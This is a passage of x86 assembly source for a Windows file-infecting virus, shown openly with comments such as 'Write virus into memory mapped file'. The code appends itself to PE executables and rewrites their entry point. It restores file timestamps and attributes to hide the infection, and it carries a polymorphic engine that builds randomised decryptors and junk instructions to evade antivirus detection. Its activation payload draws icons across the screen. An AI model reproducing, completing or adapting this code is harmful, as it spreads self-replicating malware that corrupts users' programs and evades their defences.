call dword ptr [ebp+a_GetSysTime]
;Generate polymorphic encryption
push ebx
call mutate
pop ebx
;Get pointer to last section
call get_last_sh
;ebx - Host base address
;esi - IMAGE_OPTIONAL_HEADER
;edi - Pointer to last section header
;Get new SizeOfRawData and VirtualSize
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
add eax,mem_size-inf_size
sub eax,dword ptr [edi+SH_PointerToRawData]
mov edx,eax
cmp eax,dword ptr [edi+SH_VirtualSize]
jbe ok_VirtualSize
mov dword ptr [edi+SH_VirtualSize],eax
ok_VirtualSize: mov eax,edx
xor edx,edx
mov ecx,dword ptr [esi+OH_FileAlignment]
div ecx
inc eax
mul ecx
mov dword ptr [edi+SH_SizeOfRawData],eax
;Set section characteristics
or dword ptr [edi+SH_Characteristics], \
IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
;Update OH_SizeOfImage
mov eax,dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
mov edx,dword ptr [esi+OH_SizeOfImage]
cmp eax,edx
jae done_image_s
lea eax,dword ptr [edx+mem_size]
done_image_s: xor edx,edx
mov ecx,dword ptr [esi+OH_SectionAlignment]
div ecx
inc eax
mul ecx
mov dword ptr [esi+OH_SizeOfImage],eax
;Write virus into memory mapped file
mov ecx,inf_size
lea esi,dword ptr [ebp+Mem_Base+mem_size]
mov edi,ebx
add edi,dword ptr [ebp+original_size]
rep movsb
;Free memory mapped file
mov eax,ebx
call unmap_close
;Exit, file is infected
clc
ret
;············································································
;Get RAW of entry
;············································································
;············································································
;Change the entry-point field in file header
;············································································
fuxoring_file: ;Well, after checking relocations for this file we
;found that there is a relocation over the first
;five bytes of host entry-point code
;Our buffer is ZERO bytes coz no code needs to be
;restored on host execution
xor eax,eax
mov dword ptr [ebp+insert_size+mem_size],eax
;Get the RVA for virus entry-point
call get_last_sh
mov eax,dword ptr [ebp+original_size]
add eax,poly_decryptor-Mem_Base
add eax,dword ptr [edi+SH_VirtualAddress]
sub eax,dword ptr [edi+SH_PointerToRawData]
;Overwrite OH_AddressOfEntryPoint with the
;virus entry point
mov dword ptr [esi+OH_AddressOfEntryPoint],eax
jmp back2infection
;············································································
;Get pointer to last section header
;············································································
get_last_sh: ;
;Entry:
;
;ebx - Host base address
;
;Exit:
;
;esi - IMAGE_OPTIONAL_HEADER
;edi - Pointer to last section header
;
mov esi,dword ptr [ebx+DH_lfanew]
add esi,ebx
cld
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
dec ecx
mov eax,IMAGE_SIZEOF_SECTION_HEADER
mul ecx
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,edx
add eax,esi
mov edi,eax
ret
;············································································
;Convert RVA to RAW
;············································································
RVA2RAW: ;
;Entry:
;
;ebx - Host base address
;edx - RVA to convert
;
;Exit:
;
;ecx - Pointer to RAW data or NULL if error
;edx - Section delta offset
;esi - Pointer to IMAGE_OPTIONAL_HEADER
;edi - Pointer to section header
;
cld
mov dword ptr [ebp+search_raw],edx
mov esi,dword ptr [ebx+DH_lfanew]
add esi,ebx
lodsd
movzx ecx,word ptr [esi+FH_NumberOfSections]
jecxz err_RVA2RAW
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add edi,esi
;Get the IMAGE_SECTION_HEADER that contains RVA
;
;At this point:
;
;ebx - File base address
;esi - Pointer to IMAGE_OPTIONAL_HEADER
;edi - Pointer to first section header
;ecx - Number of sections
s_img_section:
;Check if address of imports directory is inside this
;section
mov eax,dword ptr [ebp+search_raw]
mov edx,dword ptr [edi+SH_VirtualAddress]
sub eax,edx
cmp eax,dword ptr [edi+SH_VirtualSize]
jb section_ok
out_of_section: ;Go to next section header
add edi,IMAGE_SIZEOF_SECTION_HEADER
loop s_img_section
err_RVA2RAW: ret
section_ok: ;Get raw
mov ecx,dword ptr [edi+SH_PointerToRawData]
sub edx,ecx
add ecx,eax
add ecx,ebx
ret
;············································································
;Do needed relocation corrections over code at host entry-point
;············································································
do_reloc_work: ;Entry:
;
;ebx - host base address
;esi - IMAGE_BASE_RELOCATION
;edi - IMAGE_OPTIONAL_HEADER
;
;Exit:
;
;ecx - Space free of relocations at entry-point
;
;Get IBR_VirtualAddress
cld
lodsd
mov edx,eax
;Get IBR_SizeOfBlock
lodsd
or eax,eax
jnz continue_reloc
;We have reached the last relocation and all of them
;seem to refer to virtual addresses behind the host
;entry-point, so we can generate lots of polymorphic
;code there
xor ecx,ecx
not ecx
ret
continue_reloc: ;Get number of relocations in this block
sub eax,IMAGE_SIZEOF_BASE_RELOCATION
shr eax,01h
mov ecx,eax
rblock_loop: ;Get IBR_TypeOffset
push ecx
xor eax,eax
lodsw
and ax,0FFFh
add eax,edx
cmp eax,dword ptr [edi+OH_AddressOfEntryPoint]
jae reloc_over_ep
next_reloc: ;Follow relocations chain
pop ecx
loop rblock_loop
jmp short do_reloc_work
reloc_over_ep: ;Get number of bytes from entry-point to first relocation
pop ecx
sub eax,dword ptr [edi+OH_AddressOfEntryPoint]
ret
;············································································
;Get entry point for GetProcAddress
;············································································
my_GetProcAddr: ;
;Entry:
;
;a_Kernel32 - Base address for kernel32
;
;Exit:
;
;eax - Entry point for GetProcAddress
; or NULL if error
;
push ebx
;Check for MZ signature at base address
cld
mov ebx,dword ptr [ebp+a_Kernel32]
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
jne e_GetProcAddr
;Now go to the pe header and check for the PE signature
mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew]
add esi,ebx
lodsd
cmp eax,IMAGE_NT_SIGNATURE
jne e_GetProcAddr
;Get pointer to Image Export Directory and save it
add esi,NT_OptionalHeader. \
OH_DirectoryEntries. \
DE_Export. \
DD_VirtualAddress-0004h
lodsd
add eax,ebx
push eax
;Get pointer to exported function names
;Also follow the AddressOfNameOrdinals array
mov ecx,dword ptr [eax+ED_NumberOfNames]
mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
add edx,ebx
lea esi,dword ptr [eax+ED_AddressOfNames]
lodsd
add eax,ebx
next_name: ;Search for GetProcAddress in exported function names
push ecx
lea esi,dword ptr [ebp+szGetProcAddr]
mov edi,dword ptr [eax]
or edi,edi
jz try_next
got_name_rva: ;Get absolute address
add edi,ebx
;Compare names
mov ecx,0000000Eh
repe cmpsb
je found_name
try_next: ;Go to next name
add eax,00000004h
add edx,00000002h
pop ecx
loop next_name
;Name not found, exit with error
pop eax
jmp short e_GetProcAddr
found_name: ;Ok, now edx is the index of the function, so
;lets look at AddressOfNameOrdinals using that index
pop ecx
pop edi
;Get ordinal for function
movzx eax,word ptr [edx]
;Check if ordinal out of range
cmp eax,[edi+ED_NumberOfFunctions]
jae short e_GetProcAddr
;This is the starting export ordinal number
sub eax,dword ptr [edi+ED_BaseOrdinal]
inc eax
shl eax,02h
;Get address of function
mov esi,dword ptr [edi+ED_AddressOfFunctions]
add esi,eax
add esi,ebx
lodsd
add eax,ebx
pop ebx
ret
e_GetProcAddr: ;GetProcAddress not found, exit with error
xor eax,eax
pop ebx
ret
;············································································
;Get KERNEL32 module handle if we cant get it using GetModuleHandle
;············································································
my_getkernel: ;Get KERNEL32 base address using the ID_ForwarderChain
;
;Entry:
;
;ebx - Base address of host in memory
;
;Exit:
;
;eax - Kernel32 base address or NULL if error
;
;Generate a mov esi,xxxx instruction
db 0BEh
;This is just a rva that points to ID_ForwarderChain
;field inside Kernel32 import module descriptor
rva_kernel32 dd 00000000h
;Get Kernel32 entry point from ID_ForwarderChain
add esi,ebx
lodsd
;Check for the MZ signature
cmp word ptr [eax],IMAGE_DOS_SIGNATURE
jne err_getkernel
;Now go to the pe header and check for the PE signature
mov esi,dword ptr [eax+DH_lfanew]
cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE
jne err_getkernel
ret
err_getkernel: ;Could not find KERNEL32 base addres :(
xor eax,eax
ret
;············································································
;Get APIs entry point
;············································································
get_functions: ;Get the entry point for all KERNEL32 API functions
;used by the virus
;
;Entry:
;
;None
;
;Exit:
;
;ecx - NULL if error
;
;Dont fuck our host base address
push ebx
;Get pointer to viral function names
lea esi,dword ptr [ebp+viral_functions]
lea edi,dword ptr [ebp+viral_addresses]
;Get number of functions
mov ecx,(offset viral_tbl_end-offset viral_functions)/04h
get_each_ep: ;Get pointer to function name
cld
lodsd
add eax,ebp
;Save counter and pointers
push ecx
push esi
push edi
;Get entry point using GetProcAddress
push eax
push dword ptr [ebp+a_Kernel32]
call dword ptr [ebp+a_GetProcAddr]
;Restore counter and pointers
pop edi
pop esi
pop ecx
;Check if entry point is valid
or eax,eax
jz exit_get_func
;Save function entry point
cld
stosd
;Next function
loop get_each_ep
exit_get_func: ;Return, eax contains last function entry point or NULL
;if error
mov ecx,eax
pop ebx
ret
;············································································
;Open file and create it memory mapped image
;············································································
open_map_file: ;
;Entry:
;
;my_FindData - FindData about file
;szWorkDir - Buffer for path + name of file to infect
;
;Exit:
;
;eax - Base address of memory map for file
; 00000000h if error
;
;Reset attributes so we can get read/write access
;to target file
push FILE_ATTRIBUTE_NORMAL
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_SetFileAttr]
or eax,eax
jz exit_open_map
;Open existing file
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push eax
push GENERIC_READ or GENERIC_WRITE
lea eax,dword ptr [ebp+szWorkDir]
push eax
lea eax,dword ptr [ebp+a_CreateFile]
call dword ptr [ebp+a_CreateFile]
cmp eax,INVALID_HANDLE_VALUE
je exit_open_map
;Create filemapping over file
mov dword ptr [ebp+CreateFile_h],eax
xor eax,eax
push eax
push dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
push eax
push PAGE_READWRITE
push eax
push [ebp+CreateFile_h]
call dword ptr [ebp+a_CreateFileMap]
or eax,eax
jz Close_Create
;Map file in memory, get base address
mov dword ptr [ebp+Mapping_h],eax
xor eax,eax
push dword ptr [ebp+my_FindData.WFD_nFileSizeLow]
push eax
push eax
push FILE_MAP_WRITE
push [ebp+Mapping_h]
call dword ptr [ebp+a_MapViewOfFile]
or eax,eax
jz Close_Mapping
ret
;············································································
;Unmap memory mapped its associated file and close file handle
;············································································
unmap_close: ;
;Entry:
;
;eax - File base address in memory
;
;Exit:
;
;None
;
push eax
call dword ptr [ebp+a_UnmapView]
Close_Mapping: ;Close handle created by CreateFileMappingA
push dword ptr [ebp+Mapping_h]
call dword ptr [ebp+a_CloseHandle]
Close_Create: ;Restore file time
lea eax,dword ptr [ebp+my_FindData.WFD_ftLastWriteTime]
mov edx,00000008h
push eax
sub eax,edx
push eax
sub eax,edx
push eax
push dword ptr [ebp+CreateFile_h]
call dword ptr [ebp+a_SetFileTime]
;Close handle created by CreateFileA
push dword ptr [ebp+CreateFile_h]
call dword ptr [ebp+a_CloseHandle]
;Restore file attributes
push dword ptr [ebp+my_FindData.WFD_dwFileAttributes]
lea eax,dword ptr [ebp+szWorkDir]
push eax
call dword ptr [ebp+a_SetFileAttr]
exit_open_map: xor eax,eax
ret
;············································································
;Activation routine
;············································································
payload: ;Use LoadLibrary to get a valid handle over USER32.dll
lea eax,dword ptr [ebp+szUSER32]
push eax
call dword ptr [ebp+a_LoadLibrary]
or eax,eax
jz exit_payload
mov dword ptr [ebp+a_User32],eax
;Get entry-point for LoadIcon
lea edx,dword ptr [ebp+szLoadIcon]
push edx
push eax
call dword ptr [ebp+a_GetProcAddr]
or eax,eax
jz exit_payload
;Load custom icon
push 32513
xor edx,edx
push edx
call eax
or eax,eax
jz exit_payload
mov dword ptr [ebp+h_icon],eax
;Get entry-point for GetDC
lea edx,dword ptr [ebp+szGetDC]
push edx
push dword ptr [ebp+a_User32]
call dword ptr [ebp+a_GetProcAddr]
or eax,eax
jz exit_payload
;Get device context for the screen
xor edx,edx
push edx
call eax
or eax,eax
jz exit_payload
mov dword ptr [ebp+dc_screen],eax
;Get entry-point for DrawIcon
lea edx,dword ptr [ebp+szDrawIcon]
push edx
push dword ptr [ebp+a_User32]
call dword ptr [ebp+a_GetProcAddr]
or eax,eax
jz exit_payload
mov ecx,00000100h
loop_payload: ;Draw some icons in random coordinates
push eax
push ecx
mov edx,eax
push dword ptr [ebp+h_icon]
mov eax,00000800h
call get_rnd_range
push eax
mov eax,00000400h
call get_rnd_range
push eax
push dword ptr [ebp+dc_screen]
call edx
pop ecx
pop eax
loop loop_payload
;Print
exit_payload: ret
;············································································
;Generate polymorphic encryption
;············································································
mutate: ;Initialize reg flags and random number generator
call init_poly
;Select index reg
call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+index_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_INDEX
;Select counter reg
call get_valid_reg
mov al,byte ptr [ebx+REG_MASK]
mov byte ptr [ebp+counter_mask],al
or byte ptr [ebx+REG_FLAGS],REG_IS_COUNTER
;Get and save random displacement
;Do not use any displacement if this field value is null
call get_rnd32
and eax,00000001h
jz ok_disp
call get_rnd32
ok_disp: mov dword ptr [ebp+ptr_disp],eax
;Now get a random key
call get_rnd32
mov dword ptr [ebp+crypt_key],eax
;Now get some flags
call get_rnd32
mov byte ptr [ebp+build_flags],al
;Get size for INC/DEC procedures
call get_rnd32
and al,03h
cmp al,01h
je get_size_ok
cmp al,02h
je get_size_ok
inc al
get_size_ok: mov byte ptr [ebp+oper_size],al
;Where to put decryptor code
lea edi,dword ptr [ebp+poly_decryptor+mem_size]
;Lets begin inserting some shit
call gen_garbage
;Choose a random decryptor style
;Each style uses the same build procedures, but
;in diferent order
mov eax,(end_styles-tbl_styles)/04h
call get_rnd_range
lea esi,dword ptr [ebp+tbl_styles+eax*04h]
lodsd
add eax,ebp
mov esi,eax
;Generator for decryptor styles
;Build initialization code
mov ecx,00000003h
call gen_style_code
;Set the loop point in the middle of nowhere
push esi
call gen_garbage
mov dword ptr [ebp+loop_point],edi
call gen_garbage
pop esi
;Build loop code
mov ecx,00000004
call gen_style_code
;Insert a jump to virus code
mov al,0E9h
stosb
lea eax,dword ptr [ebp+Mem_Base+mem_size]
sub eax,edi
sub eax,00000004h
stosd
;Some garbage
call gen_rnd_block
;Now do encryption
lea edi,dword ptr [ebp+Mem_Base+mem_size]
call fixed_size2ecx
loop_hide_code: push ecx
mov eax,dword ptr [edi]
call perform_crypt
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_copy_res: stosb
shr eax,08h
loop loop_copy_res
pop ecx
loop loop_hide_code
;Exit polymorphic engine
ret
;············································································
;Generator for decryptor styles
;············································································
gen_style_code: lodsd
add eax,ebp
push ecx
push esi
call eax
call gen_garbage
pop esi
pop ecx
loop gen_style_code
ret
;············································································
;Perform encryption
;············································································
perform_crypt: ;Place for encryption code
db 10h dup (00h)
;············································································
;Generate decryptor action: Get delta offset
;············································································
gen_get_delta: ;This is the CALL opcode
mov al,0E8h
stosb
;Save the place for the calling address
stosd
mov dword ptr [ebp+delta_call],edi
push edi
;Generate some random data
call gen_rnd_block
;Get displacement from CALL instruction to destination
;address
mov eax,edi
pop esi
sub eax,esi
;Put destination address after CALL opcode
mov dword ptr [esi-00000004h],eax
;Generate some garbage code into destination address
call gen_garbage
;Choose method
mov eax,(end_delta_mode-tbl_delta_mode)/04h
call get_rnd_range
mov eax,dword ptr [ebp+tbl_delta_mode+eax*04h]
add eax,ebp
jmp eax
delta_method_1: ;Generate:
;
; call get_delta
; ...
; get_delta:
; ...
; pop index_reg
; ...
call gen_pop_index
ret
delta_method_2: ;Generate:
;
; call get_delta
; ...
; get_delta:
; ...
; pop reg_1
; ...
; mov reg_index,reg_1
; ...
call gen_pop_reg_1
mov ah,byte ptr [ebp+index_mask]
shl ah,03h
or ah,byte ptr [ebx+REG_MASK]
or ah,0C0h
mov al,8Bh
stosw
ret
delta_method_3: ;Generate:
;
; call get_delta
; ...
; get_delta:
; ...
; pop reg_1
; ...
; push reg_1
; ...
; pop reg_index
; ...
call gen_pop_reg_1
mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
call gen_pop_index
ret
gen_pop_index: ;Generate pop reg_index + garbage
mov al,58h
or al,byte ptr [ebp+index_mask]
stosb
call gen_garbage
ret
gen_pop_reg_1: ;Generate pop reg_1 + garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
push ebx
call gen_garbage
pop ebx
;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
ret
;············································································
;Generate decryptor action: Fix pointer
;············································································
gen_fix_ptr: ;Get displacement + offset of code to decrypt
lea eax,dword ptr [ebp+Mem_Base+mem_size]
add eax,dword ptr [ebp+ptr_disp]
sub eax,dword ptr [ebp+delta_call]
;Check direction
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jz fix_dir_ok
;Direction is from top to bottom
push eax
call fixed_size2ecx
xor eax,eax
mov al,byte ptr [ebp+oper_size]
push eax
mul ecx
pop ecx
sub eax,ecx
pop ecx
add eax,ecx
fix_dir_ok: push eax
;Fix using ADD or SUB
call get_rnd32
and al,01h
jz fix_with_sub
fix_with_add: ;Generate ADD reg_index,fix_value
mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
jmp short fix_done
fix_with_sub: ;Generate SUB reg_index,-fix_value
mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
fix_done: stosd
ret
;············································································
;Generate decryptor action: Load counter
;············································································
gen_load_ctr: ;Easy now, just move counter random initial value
;into counter reg and calc end_value
mov al,0B8h
or al,byte ptr [ebp+counter_mask]
stosb
call fixed_size2ecx
call get_rnd32
stosd
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz counter_down
counter_up: add eax,ecx
jmp short done_ctr_dir
counter_down: sub eax,ecx
done_ctr_dir: mov dword ptr [ebp+end_value],eax
ret
;············································································
;Generate decryptor action: Decrypt
;············································································
gen_decrypt: ;Check if we are going to use a displacement
mov eax,dword ptr [ebp+ptr_disp]
or eax,eax
jnz more_complex
;Choose generator for [reg] indexing mode
mov edx,offset tbl_idx_reg
call choose_magic
jmp you_got_it
more_complex: ;More fun?!?!
mov al,byte ptr [ebp+build_flags]
test al,CRYPT_SIMPLEX
jnz crypt_xtended
;Choose generator for [reg+imm] indexing mode
mov edx,offset tbl_dis_reg
call choose_magic
you_got_it: ;Use magic to convert some values into
;desired instructions
call size_correct
mov dl,byte ptr [ebp+index_mask]
lodsb
or al,al
jnz adn_reg_01
cmp dl,00000101b
je adn_reg_02
adn_reg_01: lodsb
or al,dl
stosb
jmp common_part
adn_reg_02: lodsb
add al,45h
xor ah,ah
stosw
jmp common_part
crypt_xtended: ;Choose [reg+reg] or [reg+reg+disp]
test al,CRYPT_COMPLEX
jz ok_complex
;Get random displacement from current displacement
;eeehh?!?
mov eax,00000010h
call get_rnd_range
sub dword ptr [ebp+ptr_disp],eax
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg+imm] indexing mode
mov edx,offset tbl_paranoia
call choose_magic
jmp short done_xtended
ok_complex: mov eax,dword ptr [ebp+ptr_disp]
call load_aux
push ebx
call gen_garbage
;Choose generator for [reg+reg] indexing mode
mov edx,offset tbl_xtended
call choose_magic
done_xtended: ;Build decryptor instructions
call size_correct
pop ebx
mov dl,byte ptr [ebp+index_mask]
lodsb
mov cl,al
or al,al
jnz arn_reg_01
cmp dl,00000101b
jne arn_reg_01
lodsb
add al,40h
stosb
jmp short arn_reg_02
arn_reg_01: movsb
arn_reg_02: mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,dl
stosb
or cl,cl
jnz arn_reg_03
cmp dl,00000101b
jne arn_reg_03
xor al,al
stosb
arn_reg_03: ;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
common_part: ;Get post-build flags
lodsb
;Insert displacement from real address?
test al,MAGIC_PUTDISP
jz skip_disp
push eax
mov eax,dword ptr [ebp+ptr_disp]
neg eax
stosd
pop eax
skip_disp: ;Insert key?
test al,MAGIC_PUTKEY
jz skip_key
call copy_key
skip_key: ;Generate reverse code
call do_reverse
ret
;············································································
;Choose a magic generator
;············································································
choose_magic: mov eax,00000006h
call get_rnd_range
add edx,ebp
lea esi,dword ptr [edx+eax*04h]
lodsd
add eax,ebp
mov esi,eax
ret
;············································································
;Do operand size correction
;············································································
size_correct: lodsb
mov ah,byte ptr [ebp+oper_size]
cmp ah,01h
je store_correct
inc al
cmp ah,04h
je store_correct
mov ah,66h
xchg ah,al
stosw
ret
store_correct: stosb
ret
;············································································
;Load aux reg with displacement
;············································································
load_aux: ;Get a valid auxiliary register
push eax
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;Move displacement into aux reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
pop eax
neg eax
stosd
ret
;············································································
;Generate crypt-code
;············································································
do_reverse: xor eax,eax
mov al,byte ptr [ebp+oper_size]
shr eax,01h
shl eax,02h
add esi,eax
lodsd
add eax,ebp
mov esi,eax
push edi
lea edi,dword ptr [ebp+perform_crypt]
loop_string: lodsb
cmp al,MAGIC_ENDSTR
je end_of_magic
cmp al,MAGIC_ENDKEY
je last_spell
xor ecx,ecx
mov cl,al
rep movsb
jmp short loop_string
last_spell: call copy_key
end_of_magic: mov al,0C3h
stosb
pop edi
ret
;············································································
;Copy encryption key into work buffer taking care about operand size
;············································································
copy_key: mov eax,dword ptr [ebp+crypt_key]
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_key: stosb
shr eax,08h
loop loop_key
ret
;············································································
;Generate decryptor action: Move index to next step
;············································································
gen_next_step: ;Get number of bytes to inc or dec the index reg
xor ecx,ecx
mov cl,byte ptr [ebp+oper_size]
loop_update: ;Get number of bytes to update with this instruction
mov eax,ecx
call get_rnd_range
inc eax
;Check direction
test byte ptr [ebp+build_flags],CRYPT_DIRECTION
jnz step_down
call do_step_up
jmp short next_update
step_down: call do_step_down
next_update: sub ecx,eax
jecxz end_update
jmp short loop_update
end_update: ret
do_step_up: ;Move index_reg up
or eax,eax
jz up_with_inc
;Now choose ADD or SUB
push eax
call get_rnd32
and al,01h
jnz try_sub_1
try_add_1: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
try_sub_1: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
up_with_inc: ;Generate INC reg_index
mov al,40h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret
do_step_down: ;Move index_reg down
or eax,eax
jz down_with_dec
;Now choose ADD or SUB
push eax
call get_rnd32
and al,01h
jnz try_sub_2
try_add_2: mov ax,0C081h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
neg eax
stosd
neg eax
ret
try_sub_2: mov ax,0E881h
or ah,byte ptr [ebp+index_mask]
stosw
pop eax
stosd
ret
down_with_dec: ;Generate DEC reg_index
mov al,48h
or al,byte ptr [ebp+index_mask]
stosb
mov eax,00000001h
ret
;············································································
;Generate decryptor action: Next counter value
;············································································
gen_next_ctr: ;Check counter direction and update counter
;using a INC or DEC instruction
test byte ptr [ebp+build_flags],CRYPT_CDIR
jnz upd_ctr_down
upd_ctr_up: mov al,40h
or al,byte ptr [ebp+counter_mask]
jmp short upd_ctr_ok
upd_ctr_down: mov al,48h
or al,byte ptr [ebp+counter_mask]
upd_ctr_ok: stosb
ret
;············································································
;Generate decryptor action: Loop
;············································································
gen_loop: ;Use counter reg in CMP instruction?
test byte ptr [ebp+build_flags],CRYPT_CMPCTR
jnz doloopauxreg
;Generate CMP counter_reg,end_value
mov ax,0F881h
or ah,byte ptr [ebp+counter_mask]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
jmp doloopready
doloopauxreg: ;Get a random valid register to use in a CMP instruction
call get_valid_reg
or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
;Move index reg value into aux reg
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [ebp+counter_mask]
or ah,0C0h
mov al,8Bh
stosw
;Guess what!?
push ebx
call gen_garbage
pop ebx
;Generate CMP aux_reg,end_value
mov ax,0F881h
or ah,byte ptr [ebx+REG_MASK]
stosw
mov eax,dword ptr [ebp+end_value]
stosd
;Restore aux reg state
xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY
doloopready: ;Generate the following structure:
;
; loop_point:
; ...
; cmp reg,x
; jne loop_point
; ...
; jmp virus
; ...
mov ax,850Fh
stosw
mov eax,dword ptr [ebp+loop_point]
sub eax,edi
sub eax,00000004h
stosd
ret
;············································································
;Generate some garbage code
;············································································
gen_garbage: ;More recursive levels allowed?
inc byte ptr [ebp+recursive_level]
cmp byte ptr [ebp+recursive_level],03h
jae exit_gg
;Well, we can call this routine from lots of places
;in the virus, so take care about direction flag
cld
;Choose garbage generator
mov eax,00000003h
call get_rnd_range
inc eax
mov ecx,eax
loop_garbage: push ecx
mov eax,(end_garbage-tbl_garbage)/04h
call get_rnd_range
lea esi,dword ptr [ebp+tbl_garbage+eax*04h]
lodsd
add eax,ebp
call eax
pop ecx
loop loop_garbage
;Update recursive level
exit_gg: dec byte ptr [ebp+recursive_level]
ret
;············································································
;Generate MOV reg,imm
;············································································
g_movreg32imm: ;Generate MOV reg32,imm
call get_valid_reg
mov al,0B8h
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
stosd
ret
g_movreg16imm: ;Generate MOV reg16,imm
call get_valid_reg
mov ax,0B866h
or ah,byte ptr [ebx+REG_MASK]
stosw
call get_rnd32
stosw
ret
g_movreg8imm: ;Generate MOV reg8,imm
call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movreg8imm
call get_rnd32
mov al,0B0h
or al,byte ptr [ebx+REG_MASK]
push eax
call get_rnd32
pop edx
and ax,0004h
or ax,dx
stosw
a_movreg8imm: ret
;············································································
;Generate mov reg,reg
;············································································
g_movregreg32: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
c_movregreg32: mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Bh
stosw
a_movregreg32: ret
g_movregreg16: call get_rnd_reg
push ebx
call get_valid_reg
pop edx
cmp ebx,edx
je a_movregreg32
mov al,66h
stosb
jmp short c_movregreg32
g_movregreg8: call get_rnd_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
push ebx
call get_valid_reg
pop edx
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_movregreg8
cmp ebx,edx
je a_movregreg8
mov ah,byte ptr [ebx+REG_MASK]
shl ah,03h
or ah,byte ptr [edx+REG_MASK]
or ah,0C0h
mov al,8Ah
push eax
call get_rnd32
pop edx
and ax,2400h
or ax,dx
stosw
a_movregreg8: ret
;············································································
;Generate MOVZX/MOVSX reg32,reg16
;············································································
g_movzx_movsx: call get_rnd32
mov ah,0B7h
and al,01h
jz d_movzx
mov ah,0BFh
d_movzx: mov al,0Fh
stosw
call get_rnd_reg
push ebx
call get_valid_reg
pop edx
mov al,byte ptr [ebx+REG_MASK]
shl al,03h
or al,0C0h
or al,byte ptr [edx+REG_MASK]
stosb
ret
;············································································
;Generate ADD/SUB/XOR/OR/AND reg,imm
;············································································
g_mathregimm32: mov al,81h
stosb
call get_valid_reg
call do_math_work
stosd
ret
g_mathregimm16: mov ax,8166h
stosw
call get_valid_reg
call do_math_work
stosw
ret
g_mathregimm8: call get_valid_reg
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
jnz a_math8
mov al,80h
stosb
call do_math_work
stosb
and ah,04h
or byte ptr [edi-00000002h],ah
a_math8: ret
do_math_work: mov eax,end_math_imm-tbl_math_imm
call get_rnd_range
lea esi,dword ptr [ebp+eax+tbl_math_imm]
lodsb
or al,byte ptr [ebx+REG_MASK]
stosb
call get_rnd32
ret
;············································································
;Generate push reg + garbage + pop reg
;············································································
g_push_g_pop: ;Note that garbage generator can call itself in a
;recursive way, so structures like the following
;example can be produced
;
; push reg_1
; ...
; push reg_2
; ...
; pop reg_2
; ...
; pop reg_1
;
call get_rnd_reg
mov al,50h
or al,byte ptr [ebx+REG_MASK]
stosb
call gen_garbage
call get_valid_reg
mov al,58h
or al,byte ptr [ebx+REG_MASK]
stosb
ret
;············································································
;Generate unconditional jumps
;············································································
g_jump_u: mov al,0E9h
stosb
push edi
stosd
call gen_rnd_block
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret
;············································································
;Generate conditional jumps
;············································································
g_jump_c: call get_rnd32
and ah,0Fh
add ah,80h
mov al,0Fh
stosw
push edi
stosd
call gen_garbage
pop edx
mov eax,edi
sub eax,edx
sub eax,00000004h
mov dword ptr [edx],eax
ret
;············································································
;Generate one byte garbage code that does not change reg values
;············································································
gen_save_code: mov eax,end_save_code-tbl_save_code
call get_rnd_range
mov al,byte ptr [ebp+tbl_save_code+eax]
stosb
ret
;············································································
;Initialize register table
;············································································
init_poly: ;We can call this routine from lots of places, so
;take care about direction flag
cld
;Initialize random number generator
;Use current day + hour as seed
mov eax,dword ptr [ebp+time_day]
mov dword ptr [ebp+rnd32_seed],eax
;Initialize register table
lea esi,dword ptr [ebp+tbl_startup]
lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS]
mov ecx,00000007h
loop_init_regs: movsb
inc edi
loop loop_init_regs
;Clear recursive level counter
mov dword ptr [ebp+recursive_level],ecx
